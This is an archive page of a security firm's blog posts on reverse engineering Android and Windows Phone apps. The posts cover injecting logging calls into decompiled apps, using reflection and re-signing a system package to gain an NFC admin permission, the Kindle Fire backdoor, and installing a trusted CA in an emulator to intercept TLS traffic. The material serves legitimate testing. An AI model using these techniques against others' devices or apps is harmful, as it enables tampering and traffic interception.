Category Archives: Reverse Engineering
APKTool, make me a logcat sandwich
I recently turned a few friends on to Zed Shaw’s “learn python the hard way” course and it reminded me how bad of a programmer I can be. In fact, I’m that guy how litters his code with print statements. So it’s probably no shock then that a lot of times when I’m trying to figure out what’s going on in an Android app we’re reversing, that I’ll want to drop in some print statements. I use to do this by adding a few lines of smali directly into a class file, but there were a few things I needed to deal with for that to work how I wanted it. For example, here is what the default “debug” log call looks like in smali.
invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
If you were going to drop this line into the code somewhere, you would need to make sure both v0 and v1 are Strings. I would typically want “v1″ to be the string I wanted logged out, and “v0″ (in this example) to be the log “Tag” value so I knew where I was in the code when it was dumped to the log (I may have a dozen or so values getting logged out, so this helps to keep things straight when you see them in the logs). Setting up this Tag string and not stomping on things sometimes meant I needed to increase the local variable count and add some more lines for setting the string and then making sure I got the register/variables correct in that previous logging line. This worked alright if it wasn’t too late in the night or I had enough caffeine in me, but I typically would screw something up and would end up recompiling a bunch of times. I wanted an easier way and something that could deal with logging out things that weren’t already strings.
Thus I created this simple class file I can drop into the root of any application (yes, this is not as good as a real debugger using JDWP, but sometimes doing things quick and dirty gets the job done quicker for me). I wanted to stay with Android log utility syntax, but simplified a few things. I overloaded the logging object’s “d” method so that it could take just about any variable type I was dealing with. One handy example of this is a byte arrays (which is often what we find decryption keys stored in). The wrapper in IGLogger will convert the byte array into a hex string and dump that to the logs. All you need to add is one statement to the code. If “v0″ contained a byte array we wanted printed out, just drop this line of code.
invoke-static {v0}, Liglogger;->d([B)I
Since “iglogger.smali” is in the root of the recompiled APK, we can statically invoke it from any other class in the project. In this case, we need to tell the “d” method v0 is a byte array “[B" and sticking with the standard Android logging utility class, we're returning an Integer (although I've thought about just making that a Void... I never check it). You may notice we're not passing a log Tag variable with this statement. IGLogger supports that if you want, but we've added a trick to IGLogger that I find works pretty well. In IGLogger, we'll create a new Throwable object, get the getStackTrace method to find out the last class and method we were in, and put that in our log Tag. If the APK is not obfuscated, this will even include a line number. This same trick allows for a very simple "hey, I got here and this is how" stack trace method to be dumped by placing this one line of code anywhere.
invoke-static {}, Liglogger;->d()I
You might have heard a lot of us here are fans of Virtuous Ten Studio for working with smali. I have a bunch of these IGLogger print statements in Extras->Smali->CodeSnippets. Makes it really simple to just click and drop in a log statement.
But that wasn’t good enough for Niko here when we had a massively huge app that was obfuscated. He talked me into automating the process of logging out each class and method that was entered so we could watch the logs and know what code paths were being taken. I ended up rolling this into a Python script I had written to “fix strings” in decompiled Android apps. You are probably aware that proper Android apps will have their strings placed into XML files so that it’s easier to internationalize the application. While this might be nice for developers, it means when we’re reversing an application, we may end up with some strange hex value instead of a readable string. “FixStrings.py” would loop through the decompiled code and add these strings back in as a comment tag when ever they showed up in the smali code. Your mileage may vary with how well this works, but in some apps, it helped us find things easier.
Adding on to that code base, I started to include some code to automatically add IGLogger statements around things I thought could be interesting. This includes a log statement after the “prologue” of any method. Also, any time we see two strings being compared, we’ll log both strings (this is always fun for watching a password being checked or when the app pulls up device info to see if it’s running on the right hardware). We plan to add a few more things for dumping Intent messages and URLs, but this is a start for now.
This of course will make the app run hella slow, fill up logcat, and in some cases break the application. I’ve tried to avoid that last one as best I can for now, but it is possible this script will massacre an APK so badly it will be unrunnable. If you run into that issue, you can turn off the lines that will add these automatic logging statements to the code (ie, JonestownThisAPK = False).
The last thing we added to the Python script was some searches to pull out info we may find interesting when assessing an APK file. We dump this into a file called “apk-ig-info.txt” and review it after decompiling the APK. Again, this is something we’re continuing to refine. You can find the code on the Intrepidus Group github repo:
https://github.com/intrepidusgroup/IGLogger
https://github.com/intrepidusgroup/APKSmash
Comments disabled
Android’s BuildConfig.DEBUG
Verbose logging in Android applications is both a problem we frequently see in production builds, as well as something we’ll try to enable if we’re pentesting an app. In revision 17 of Android’s SDK Tools and ADT, the release notes mentioned a feature which could help developers with this issue:
Added a feature that allows you to run some code only in debug mode. Builds now generate a class called BuildConfig containing a DEBUG constant that is automatically set according to your build type. You can check the (BuildConfig.DEBUG) constant in your code to run debug-only functions such as outputting debug logs.
There appeared to be a few bugs in this working as expected in the original releases (Issue 297940), but that appears to have been worked out now. Running a few tests with revision 20, here’s an example of how it could be used and what it looks like in a built APK.
In our java code for our sample application, we included the following line:
if(BuildConfig.DEBUG){
Log.e("HelloJB", "I am in the Debug");
}
if(!BuildConfig.DEBUG){
Log.e("HelloJB", "I am NOT Debug");
}
Log.d("HelloJB", "Debug value is: " + BuildConfig.DEBUG);
We then cleaned, built, then exported our application as a signed package from Eclipse. As expected, logcat showed “I am NOT Debug” and “Debug value is: false”. However, decompiling the application using Dex2Jar showed that these values had been set at build time and not simply at execution. With the new update, the Dex2Jar output for those several lines was now just two:
Log.e("HelloJB", "I am NOT Debug");
Log.d("HelloJB", "Debug value is: false");
This looks like a pretty clean way to strip out any code you don’t want making it into your release builds (an issue we’ve seen many times in assessments).
Now for pentesters of Android applications, we often look to enable verbose application logging. I will typically look for a debug flag in the application and try setting it to TRUE at run-time or by recompiling the application. If a developer uses this method to remove debug logging though, this means switching setting the DEBUG boolean to true in the BuildConfig class on a released application will probably not make a difference. Instead, look for an empty logging class and add back in calls to Android’s log methods. There’s a few ways to skin that cat, but often some well placed smali code will do the trick. For example, if you see an empty d method taking two strings, try dropping in the following line to see the debug messages again.
invoke-static {p0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
Comments disabled
Java Reflection in Android…FTW
I’ll be hitting a few smaller security conferences this spring (whatup BeaCon and BSidesROC) with a turbo talk on how Java reflection can be useful for accessing hidden APIs in Android. The team at Gibraltar had some great posts on this last year, but getting reflection to work for accessing the NfcAdapterExtras and NfcExecutionEnvironment classes was not as straight forward as things seemed. Here’s some tips on how to get it working (at least on an Gingerbread Nexus S).
First, you want to get familiar with the nfc_extras framework. This is not included in the standard Android SDK, but you can either pull the /system/framework/com.android.nfc_extras.jar file from a device or look at the Android source. You’ll see there are two classes: NfcAdapterExtras and NfcExecutionEnvironment. What I really wanted was in the embedded NfcExecutionEnvironment, but the proper way to get that object is from NfcAdapterExtras.getEmbeddedExecutionEnvironment(). So we’ll need to create that object and method first.
I decided to use reflection to access these classes in my own Android application. Since they’re not in the SDK, I couldn’t just “include android.nfc_extras.NFCAdapterExtras” in my code. Instead, we’ll just ask for that class by name at runtime.
String sReflectedClassName = "com.android.nfc_extras.NfcAdapterExtras";
Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
Wow, that’s pretty easy. Except that we’re going to need to tell the Dalvik VM to load that additional nfc_extras framework so that it knows about that class. To do that, add the following after your application tag in the AndroidManifest.XML file of your application.
<uses-library android:name=”com.google.android.nfc_extras” android:required=”true” />
Now back to our “cReflectedNFCExtras” class. The first thing we’ll need to do is get the singleton NfcAdapterExtras. This is returned by the get(NfcAdapter paramNfcAdapter) method. Note that it takes an NfcAdpater as a parameter, so we have to specify the class for that when looking for this method. The following line should work for that.
Method mReflectedGet = cReflectedNFCExtras.getMethod("get", Class.forName("android.nfc.NfcAdapter"));
However, at first I had mistake in my code that cause this method not to be found (thank Jeremy for fixing this). So instead, I had looped through all the methods using getDeclaredMethods() and stopped when the “get” method we want was found. Here’s the code for doing that followed by invoking the method and passing it the default NFCAdapter which would be the next thing we’d want to do.
Object oReturnedNFCExtras = null;
Method mReflectedMethods[] = cReflectedNFCExtras.getDeclaredMethods();
for (int i = 0; i < mReflectedMethods.length; i++){
Log.d("NfcAdapterExtras METHOD:", mReflectedMethods[i].getName());
if(mReflectedMethods[i].getName().contentEquals("get")){
//Standard default NFCAdapter... need to pass this in to get back the singleton
NfcAdapter defaultAdapter = NfcAdapter.getDefaultAdapter(this);
oReturnedNFCExtras = mReflectedMethods[i].invoke(cReflectedNFCExtras, defaultAdapter);
}
}From here out, it’s smooth sailing as long as you take care of one more thing. Your application needs a special premission in order to use this framework, the one for “NFCEE_ADMIN“. The problem is this premission is declared with the protectionLevel of “signature” in the com.android.nfc3 package. There’s a few ways to get around this, but as far as I know, they’ll all require that you have root on the device. Thus, even though we’re using reflection to access these classes, Android’s permissions are still enforced. My way of dealing with this was to resign the com.android.nfc3 package with the same certificate I used to sign my newly created Android application, then adding the following line to my application’s AndroidManifest.xml
<uses-permission android:name=”com.android.nfc.permission.NFCEE_ADMIN” />
So there you go. We can now be NFCEE_ADMIN’s as well (on our own rooted devices) using reflection. I’m curious to try this out with other /system/framework packages as well. In most cases, the process should be more straight forward:
- Create a class using Class.forName(“package.class”)
- Find the method using getClass().getMethod(“method”, paramTypes)
- Then invoke the method with the proper parameters
Android Backdoor Fail – The Kindle Fire Easter Egg
Happy New Year! And for all you Kindle Fire owners, happy early Easter as well. TeamAndIRC released their code and write-up for BurritoRoot which restores root level ADB access on the Kindle Fire. There were other ways to root the Fire before the latest update from Amazon, but this one is attention deserving because of how blatantly the developers left this back door wide open.
You can follow along even without a Fire by grabbing the 6.2.1 software update from Amazon’s site. Download the “bin” file, extract it, then find the “service.jar” framework file. This jar will be in the Android format, so to view this in jd-gui, you’ll want to convert it first (dex2jar works well).
Besides the standard com.android.server package you would expect to see in the service framework file, you’ll also notice there’s a “com.lab126.services” package (Lab126 appears to have done work for a number of Kindle releases). At that point, it’s pretty hard to ignore a class called “EasterEggReceiver”. There’s not much to this class and nothing has been obfuscated to make it hard to follow. Any application which broadcasts an intent message to the “com.amazon.internal.E_COMMAND” service with the correct extra data can enable the ADB daemon to restart as root. No permissions are needed to send that intent and there are no checks in the framework to see who sent the intent message (like maybe try to limit this to only apps with a certain signature) — simply any Android app on the device can call this backdoor feature.
The means of data passing and the severity of this “feature” are different from the HTCLoggers.apk issue from October of last year, but I think they are both signs of the same trend. Mobile developers writing any sort of inter-process communication call or service need to ensure they are communicating only with other trusted apps. Android already gives you a way to do this, if your apps are signed with the same certificate. I’m a fan of Easter Eggs, but sometimes you want to make sure to limit who can walk away with your tasty burrito.
Comments disabled
The story of how qemu met MIPS and created netcat
Earlier this week I found myself in a predicament when I was reversing a stripped down MIPS embedded device. The device had minimal available memory and the only real executables on it were an even more stripped down busybox executable, tftp, and tcpdump. My goal was to obtain tcpdump logs being captured on device, but due to the lack of NFS support and the minimal available memory, I had very few options.
Initially I attempted to write the tcpdump logs to a file, and tftp them up to my local box. This became an issue when the log file became too large and all of the running processes started crashing. Trying to get my timing correct for the tftp command to execute, before everything went haywire, became a serious frustration. This is when I decided to go down a different route and try using everyone’s friend netcat. Unfortunately, I could not find a working netcat binary for the device, so I had to compile my own…
First, I downloaded every MIPS netcat I could find and tried to run them on the device. None worked – the output when trying to run them looked like:
# ./netcat
./netcat: line 1: syntax error: "(" unexpected
Which is extremely frustrating because that output looks like the shell is trying to run the netcat binary as a shell script. Anyway, after a few hours of failing, this is when I decided that I needed to compile my own netcat. This day long endeavor took much longer than I anticipated. I am writing this up in the hope that I can save someone else this frustration.
I knew I was going to build a Debian based MIPS system using qemu on Ubuntu 11.04. I found this tutorial that helped greatly:
Mistake: I assumed which architecture I needed. Make SURE you know which architecture and endianness you are going to be building against. There is a very easy trick to understand this. Pull a file of of the device, and run the ‘file’ command against it. In my case it looked like this:
$ file some_elf_binary
some_elf_binary: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped
The “LSB” in that line stands for Least Significat Bit and means you should be building a MIPSEL virtual machine. If it says “MSB,” or Most Significant Bit you should build a MIPS virtual machine. I did not take the time to understand this, and now have a MIPS and MIPSEL virtual machine.
To reiterate – run ‘file’ on an existing executable
LSB = Create MIPSEL virtual machine
MSB = Create MIPS virtual machine
Creating the virtual machine with qemu is pretty easy, but time consuming.
First you must install the correct packages on Ubuntu (the ‘extra’ package provides the MIPS architecture):
sudo aptitude install qemu qemu-kvm-extras
Now you need to pull the initrd and vmlinux files from Debian for your virtual machine type. The initrd is the initial ramdisk and is used to load a temporary filesystem in memory. The vmlinux is the kernel that will be loaded into memory.
At the time of writing this, these links work for downloading the files for the respective architecture:
http://ftp.de.debian.org/debian/dists/stable/main/installer-mipsel/current/images/malta/netboot/
http://ftp.de.debian.org/debian/dists/stable/main/installer-mips/current/images/malta/netboot/
The next step is creating a file that will be your virtual hard disk.
qemu-img create -f raw hda.img 1G
Simple enough. Now to boot the initrd/vmlinux combination which will get you to the Debian installer.
NOTE: The ‘-M malta’ that relates to the ‘malta’ Debian images I downloaded. The tutorial I mentioned above uses ‘-M mips’ – this was a hanging point for me. When booting with ‘-M mips’ it just hung, no output, nothing.
MIPSEL:
qemu-system-mipsel -M malta -kernel vmlinux-2.6.26-2-4kc-malta -initrd initrd.gz -hda hda.img -append "root=/dev/ram console=ttyS0" -nographic
MISP:
qemu-system-mips -M malta -kernel vmlinux-2.6.26-2-4kc-malta -initrd initrd.gz -hda hda.img -append "root=/dev/ram console=ttyS0" -nographic
Follow the instructions in the installer, and at the end it will tell you everything is completed and to remove the CD rom or boot media. At this point I waited for the VM to reboot into the installer again, and then had to kill the host’s ‘qemu-system’ process.
NOTE: There is a dialog that tells you that there is no boot loader, and you will have to append some arguments to the kernel. Make sure you take note what device it tells you (sometimes it will be /dev/hda1, others /dev/sda1)
If all went well, you should now be able to boot into the MIPS or MIPSEL OS. As explained above, my two installations had different root partitions that I needed to boot into. Another hanging point when creating my second MIPSEL VM.
MIPSEL:qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda hda.img -append root=/dev/sda1 -nographic
MIPS:qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda hda.img -append root=/dev/hda1 -nographic
Finally we have a MIPS VM shell. I will use netcat as an example of how I built a binary that worked on the end MIPS embedded system. First step is to obviously download the source.
Using wget to pull it down on the MIPS VM, I realized I had to install a compiler.
apt-get install gcc
worked just fine.
Mistake: I did not think about how I had to compile these applications. The end device is very stripped down, and who knows what libraries it even has on it. So after some trial and error I realized that I had to compile with static library linking. It has been a while since I have compiled something like this, so I found this that explains that all you need to do is add the ‘-static’ flag to the compiler arguments, prior to finding that link I asked in the IG chat room, and got a similar response:
[10/11/11 5:10:46 PM] wuntee: how do you force automake/autoconf/gcc whatever to do static librarys, vs dynamic?
[10/11/11 5:11:38 PM] Jeremy: -static
[10/11/11 5:11:39 PM] Sid: -static
[10/11/11 5:11:46 PM] Sid: ^ that
[10/11/11 5:11:46 PM] Jeremy: Zach, go on… say it
[10/11/11 5:11:49 PM] Zach twitches
[10/11/11 5:11:52 PM] Jeremy: -static
[10/11/11 5:11:57 PM] Jeremy: -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static -static
[10/11/11 5:11:57 PM] Sid: -static
[10/11/11 5:12:36 PM] Zach: “./configure –help”
RTFM… Thanks guys.
Mistake: There are MANY options you can pass to the compiler when compiling something for MIPS:. The output of the ‘file’ command on a working executable can be helpful here. In my case it says “ELF 32-bit LSB executable, MIPS, MIPS-II” which meant I wanted to also pass ‘-mips2′ to the compiler.
Configuring and making netcat was easy enough after figuring out all of the options:
CPPFLAGS="-mips2 -static" CFLAGS="-mips2 -static" ./configure && make
Running file on this looks close enough to the working executable, and it is statically linked like I wanted:
some_elf_binary: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped
netcat: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, with unknown capability 0xf41 = 0x756e6700, with unknown capability 0x70100 = 0x1040000, stripped
You can then put the executable on the device, and it hopefully will run. One last thing you can do to the binary in order to conserve space is strip it. This can be done with the strip command.
After about a day of getting this working, the end netcat file was only 750k, and allowed me to obtain tcpdump output. Hope this helps someone.
A Brave New Wallet – First look at decompiling Google Wallet
For the record, I welcome our new contactless payment overlords. I truly see the value in having the ability to make a payment transaction with our mobile devices. This opens up an opportunity to make these transactions more secure, give customers a better user experience, and also give them more control over payment options. Sure there are risks involved with this new technology and everyone should do their own weighing of the risk versus benefits, but I imagine a good number of you already have done this with deciding to use a current payment system over cash (or gold). However, a first (and rather quick as I’m supposed to be on vacation) look at the new Google Wallet code makes me wonder if this first release might need a bit of polish.
If you would like to follow along even without a Nexus S 4G, you can grab the new over-the-air (OTA) update from Google here. You can find the main parts of the new Wallet application in the “\system\app” directory of the update, but it will need some deodexing.
I typically start going through an app with the AndroidManifest.xml file. One thing that jumped out at me with the six “debug” and five “fakes” activities listed in the manifest. As a general best practice, debugging code should be removed from production releases. However, you do have to appreciate the humor of the “BsBankManagerActivity”. Yup, sign up with “BS” bank by calling “6501111111″ or visiting “http://bsbank.com” (BS Bank heard there was a BEAST breaking TLS this week, so they dropped it). Going through the BS code leads to some more fun “bsness” later on as well, such the revelation that “something is seriously wrong with this image URL” (which they were working on back in January?)
Additionally, there’s a handful of test related phone numbers left in “DebugMenuHelper” and “DemoDataPopulator”. Here they are in the format found:
4155589991
(415) 626-9682
(510) 351-0108
You will notice there are a few obfuscated classes in the wallet application. These appear to be related to the OTA proxy parts of the application. While not extremely complex in its functionality, I do think it’s appropriate to obfuscate this. Unfortunately, it appears that a great deal of logging can take place here and the default level is set to “FULL_LOGGING” (although it appears this level can be dynamically changed).
We haven’t yet seen what data gets logged by this, but the obvious concern would be a malicious log reading application as described over a year ago by the Lookout team. There also appears code that will send some log messages to “gtec.skcc@gmail.com“.
Continuing with the testing related code in the production application, lets pull out the number of test/demo/uat URLs (which don’t seem totally bogus but still could be). “CodeConfiguration” has a number of these:
private static final DEFAULT_CITI_SOAP_URL_CAT:Ljava/lang/String; = https://systemtest.citibankonline.citibank.com/MSMOTA Personalization/Webservices/MSMPayPassOTAPersonalizationService-service1.serviceagent/MSMPayPassOTAPersonalization ServicePortTypeEndpoint1
private static final DEFAULT_CITI_SOAP_URL_DEMO:Ljava/lang/String; = https://systemtest.citibankonline.citibank.com/MSMOTA Personalization/Webservices/MSMPayPassOTAPersonalizationService-service1.serviceagent/MSMPayPassOTA PersonalizationServicePortTypeEndpoint1
private static final DEFAULT_CITI_SOAP_URL_PROD:Ljava/lang/String; = https://test.mobileservices.accountonline.com/MSMOTAPersonalization_ FUT/Webservices/MSMPayPassOTAPersonalizationService-service1.serviceagent/MSMPayPassOTAPersonalizationServicePortTypeEndpoint1
private static final DEFAULT_FDCML_PROD_URL:Ljava/lang/String; = "https://www.fdmobileservices.com/mAccountsWeb/MbankingService"
private static final DEFAULT_FDCML_TEST_URL:Ljava/lang/String; = "https://cat.fdmobileservices.com/mAccountsWeb/MbankingService"
private static final DEFAULT_TSM_URL_CAT:Ljava/lang/String; = "https://uat.skcctsm.com:8443"
private static final DEFAULT_TSM_URL_PROD:Ljava/lang/String; = "https://pip.skcctsm.com:8443"
const-string v1, "DEVELOPMENT"
const-string v2, "https://jmt0.google.com/cm"
const-string v1, "SANDBOX"
const-string v2, "https://cream.sandbox.google.com"
const-string v1, "PROD"
const-string v2, "https://clients5.google.com/cm"
Finally, with each point release of Gingerbread (2.3) we’ve see code around the NFC components changing greatly. Generally adding new functionality, but at times deprecating older ones. In the wallet code, there appears to be over 50 classes with at least one deprecated method.
I’m sure many others are looking at this code as well and have some intersting finds. We are looking forward to making a payment soon with our Nexus S. Maybe we’ll use it to buy a pair of shoes.
Update 11/18/2011
Its been a while now and there’s been quite a bit of good work on Google Wallet done on XDA Developers. To clear a few things up, the email address appears to be for Android Cloud to Device Messaging (C2DM) and a lot of the debug code was removed from the wallet updates which have been pushed. That said, you can flip on the “Debug” menu in the orginal code. If you want to get this to run on a device though, you’ll need to resign a few other packages or fix permissions.
-b3nn
Comments disabled
Pentesting WP7 apps (Part I)
With over 30,000 apps in the marketplace within a year of launch, Microsoft’s Windows Phone 7 platform seems to grabbing consumer attention slowly but steadily. Though the installed user base is nowhere close to that of Android or iOS, Gartner’s predictions notwithstanding, in the last few months we’ve seen an increasing interest from companies on this new mobile platform. One of the questions we hear a lot is how we go about pentesting WP7 apps, and what tools their QA teams should be looking at. This post, and others in this series, is aimed at answering some of these questions.
Application Package Structure
WP7 apps are zip files renamed as “.xap” archives, and can be opened by standard archival programs such as 7-Zip and WinRar. Rename the application package “MyApp.xap” to “MyApp.zip”, and then unzip the archive. Generally, the following files will be found inside application package:
- AppManifest.xaml – Lists assemblies required by the application, application code entry point, runtime version.
- MyApplication.dll – Main application DLL. This contains the application logic and embedded resources like XAML layouts and images.
- Background.png, ApplicationIcon.png – Images for the application
- WMAppManifest.xml – Lists capabilities requested by the application, application GUID, application XAML entry point, app icons and live tile/hub bindings.
- WMAppPRHeader.xml – DRM header for app (in case of download from Marketplace).
- WPInteroptManifest.xml* – Optional. If it exists, the application is probably making use of interop services.
- MyInteropDll.dll* – Optional. If it exists, the application is probably making use of interop services.
- System assemblies – Default WP7 assemblies, e.g. Microsoft.Phone.Controls.dll, System.Windows.Controls.dll, etc.
- Images/* - Application icon / app bar images
*Note – With the Mango update release, interop services will probably be blocked. This provided the COM interoperability bridge, allowing applications to call unmanaged code from managed binaries. This shouldn’t concern you unless you develop OEM or mobile operator apps, as Microsoft restricts use of the interop capability.
Many applications also have accompanying resource folders, which hold static content like configuration files, sounds, etc., which might be worth looking at.
The WMAppManifest.xml file lists the capabilities requested by the application, which should be as minimal as possible. Capabilities define what resources an app requests access to, similar to permissions in an Android app. The capabilities required by application, based on the libraries it references, can be determined by using the Windows Phone Capability Detection Tool, packaged with the WP7 SDK.
C:\Program Files (x86)\Microsoft SDKs\Windows Phone\v7.0\Tools\CapDetect>CapabilityDetection.exe Rules.xml MyApplication.dll
ID_CAP_NETWORKING
ID_CAP_MEDIALIB
ID_CAP_SENSORS
ID_CAP_WEBBROWSERCOMPONENT
ID_CAP_IDENTITY_DEVICE
The main point of analysis is the MyApplicationName.dll file. This contains the primary application logic. Though theoretically any .NET language is supported, typically WP7 applications are written in C# and compiled as managed binaries. Though WP7 apps may be relatively new, the .NET language has been around a while, and a number of tools exist to aid in reversing .NET binaries.
Decompilation and Static Analysis
After extracting XAP contents, identify the main DLL file. This is usually the assembly pointed to by the “EntryPointAssembly” field in AppManifest.xaml. The DLL is a .NET managed code binary, and depending on any obfuscation used, can be decompiled back into C# by tools like .NET Reflector and dotPeek.
- .NET Reflector – This is my preferred tool for decompilation of .NET binaries. The interface is simple and easy to use – however, I find myself getting better results with dotPeek (see below). The standard version of the tool costs $35, though a 14-day evaluation license is available.
- dotPeek – This is a recent tool from JetBrains, still in development. It’s free, and managed to decompile some binaries that Reflector bailed out on. I’m expecting good things from this.
I’ll use .NET Reflector below.
Once the target binary has been identified, in our case MyApplication.dll, load it in .NET Reflector by clicking on File -> Open and selecting the file. The tool may complain about missing assemblies; this happens because it wasn’t built to support WP7 and cannot resolve the assembly names automatically. Whenever it complains about an assembly, for example “could not find Microsoft.Phone.dll”, it also offers the user a chance to load the file manually. Click on the “…” and browse to “Program Files\Reference Assemblies\Microsoft\Framework\Silverlight\v4.0\Profile\WindowsPhone”, where you will find all the system DLLs that are generally used by WP7 applications. You may need to install the WP7 Developer Tools SDK (http://create.msdn.com/en-US/resources/downloads) if you don’t have that folder already. If you’re using a 64-bit flavor of Windows, replace “Program Files” with “Program Files (x86)”.
Right click the assembly on the tree to the left and click on “Disassemble”. The tree should now be expandable, and will have two nodes, “MyApplication.dll” and “Resources”. Resources contains all the embedded resources for the app, like XAML and image files. These can be extracted and saved for perusal – sometimes, the XAML files have interesting tidbits left by the developer. Double click the resources file to load it into the right tree, then right click -> “Save As” on the resource you want to save.
The screenshot above shows a typical decompiled binary. I’ve obfuscated the namespace, since it’s a real app in the Marketplace. The second node contains reference points to system DLLs, and the application code namespaces. This is essentially the meat of the application – it represents the code tree of the application and allows to look for bugs in the decompiled code. Expand the code tree and click on any node to view the source. The structure is DLL -> Namespace -> Class -> Class Members. It’s more expedient to view it by class – click on the class you want to investigate, and you can see declarations for all methods and variables used by the class. Click on “Expand Methods” on the right hand pane to view method definitions.
Clicking on “Tools” -> “Search” on the main window bar will bring up the search interface. Type in the desired search string in the search box, results should dynamically update. Results can be refined by type, member, string/constant, or exact match by the little icons to the right of the search bar.
That’s all I have this time – I’ll talk about exploring Isolated Storage, interop DLLs, analyzing network traffic, and other points of interest in the next post.
Setting up a persistent trusted CA in an Android emulator
Setting up a persistent trusted CA in the Android emulator is a common problem, encountered any time we assess an application within an emulator, that use SSL properly. The goal is to man-in-the-middle (MITM) traffic from an application running in the Android emulator.
In order to successfully MITM traffic, the Certificate Authority (CA) of the middle node must be trusted by the device, otherwise the connection will fail with some generic SSL Handshake error. Typically, the middle node can be flagged as trusted on a rooted phone by modifying the cacerts file, and rebooting the device. When attempting to do this in the Android emulator, rebooting the virtual device causes the OS to revert many system files back to their base state – including the cacerts file. The rest of this post describes how to set up an emulator that will retain modifications to the core system files after reboots. This has not been documented in one place (to my knowledge), so hopefully this will save time for those facing this problem.
Set up OS environment:
The Android cacerts file uses a specific keystore type called Bouncycastle KeyStore (BKS). You will need to download the BouncyCastle provider, and place it in your $JAVA_HOME/jre/lib/ext/.
Note: In OSX, that is: /System/Library/Frameworks/JavaVM.framework/Home/lib/ext
Direct link: http://bouncycastle.org/download/bcprov-jdk16-141.jar
Create an Android Virtual Device (AVD):
Run ‘android’ and create an AVD; note what ‘target’ you specify (including any add-ons, like google API).
You can also use the a combination of the ‘android‘ and ‘emulator‘ commands to create and initialize an AVD:
$ android create avd --target "Google Inc.:Google APIs:10" --name IntrepidusGroup
$ emulator -initdata $ANDROID_HOME/platforms/android-10/images/userdata.img -avd IntrepidusGroup
Note: Where the directory /android-10/ is the same as the ‘target’ you selected in the first command. A list of targets can be found by running the command ‘android list targets’
Set up emulator environment:
By default, the emulator uses a base image each time it boots, so you will need to copy all of these base files to the local directory of the AVD. The source directory will depend on the ‘target’ device you selected above; if there are any additional APIs needed, those must be copied as well. The base Android images are located in ‘$ANDROID_HOME/platforms/*/images/’ and the additional libraries are located in ‘$ANDROID_HOME/add-ons/*/images/’. If you did not specify a directory to create your AVD in, it will be located in ‘~/.android/avd/’. The images directories line up with the ‘target’ version selected previously.
$ ls platforms/
total 0
drwxr-x---@ 6 wuntee staff 204 Jul 27 13:51 .
drwxrwx---@ 9 wuntee staff 306 Jul 27 13:50 ..
drwxr-xr-x 11 wuntee staff 374 Apr 18 13:18 android-10
drwxr-xr-x 12 wuntee staff 408 Apr 18 10:12 android-11
drwxr-xr-x 14 wuntee staff 476 Jun 29 11:41 android-4
drwxr-xr-x 13 wuntee staff 442 Jul 27 13:51 android-8$ ls add-ons/
total 0
drwxr-x---@ 5 wuntee staff 170 Jun 29 11:44 .
drwxrwx---@ 9 wuntee staff 306 Jul 27 13:50 ..
drwxr-xr-x 8 wuntee staff 272 Apr 18 16:19 addon_google_apis_google_inc_10
drwxr-xr-x 8 wuntee staff 272 Apr 18 16:14 addon_google_apis_google_inc_11
drwxr-xr-x 9 wuntee staff 306 Jun 29 11:44 addon_google_apis_google_inc_4Example:
$ cd ~/.android/avd/IntrepidusGroup.avd/
$ cp $ANDROID_HOME/platforms/android-10/images/* .
$ cp /Applications/android-sdk-mac_x86/add-ons/addon_google_apis_google_inc_10/images/* .
Run the emulator
When running the AVD, you must specify a ‘partition-size’ argument, which is defined in the emulator help as:
-partition-size system/data partition size in MBs
If you do not include this argument and attempt to push files to the ‘/system’ filesystem, you will get an “INSERT ERROR” error message.
In order to start the emulator, you would run:
$emulator -partition-size 128 @IntrepidusGroup
Install the certificate
Automated:
I have create a set of tools called AndroidAuditTools that will perform all necessary adb actions which can be found on GitHub. You will want to use the “installcer.rb” command. Here’s the help listing for that:
/androidAuditTools/bin$ ruby installcer.rb --help
Options:
--cerFile, -c <s>: cer file to install
--tmpFile, -t <s>: Temporary cert file (default: /tmp/cacerts)
--storePass, -s <s>: Default Android cacerts store pass (typaicall 'changeit', but sometimes blank '') (default: changeit)
--aliasName, -a <s>: Alias name for the added cert (default: AndroidAuditTools-cert)
--adb, -d <s>: Custom adb command (default: adb)
--debug, -e: Debug
--help, -h: Show this message</s></s></s></s></s>
Manual:
You first must pull the current certfile from the device; it is located: at ‘/system/etc/security/cacerts.bks’
$ adb pull /system/etc/security/cacerts.bks
From here, you can import your certificate file to the ‘cacerts.bks’ file (assuming the CA certificate is called ca.cer)
$ keytool -keystore cacerts.bks -storetype BKS -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storepass changeit -importcert -trustcacerts -alias somealias -file ca.cer -noprompt
Note: There have been devices that use the storepass as nothing, or “”; this must be specified on the command line for the keytool command to execute properly.
Note2: If you are trying to perform MITM using Mallory, the ‘ca.cer’ file is located in ‘mallroy/src/ca/ca.cer’
You must then re-mount the ‘/system’ directory as read-write prior to putting the file back on the device
$ adb shell mount -o remount,rw /dev/block/mtdblock0 /system
Note: This command will always be the same when running it against an emulator, but with a physical device you must run the ‘mount’ command to see where the ‘/system’ directory is mounted and change the ‘/dev/block/mtdblock0 /system’ portion accordingly
Then, the permissions for the current ‘cacerts.bks’ file must be modified in order for it to be overridden:
$ adb shell chmod 777 /system/etc/security/cacerts.bks
You can then override the file on the emulator, and finally change the permissions back:
$ adb push cacerts.bks /system/etc/security/cacerts.bks
$ adb shell chmod 644 /system/etc/security/cacerts.bks
Reboot
Finally, for the device or emulator to use the changes that have been made to the cacerts file, it must be rebooted. Simply close the emulator and re-start it with the command line options described above.
Dropbox for Android Vulnerability Breakdown
Dropbox vulnerabilities are back and they’re mobile. This week Tyrone Erasmus released a vulnerability in the Android Dropbox client that allows other apps to access its content database allowing attackers to upload your files to the public. I wanted to break down this vulnerability because the lessons learned aren’t that Dropbox is vulnerable, it’s that bad Android programming practices are happening everywhere.
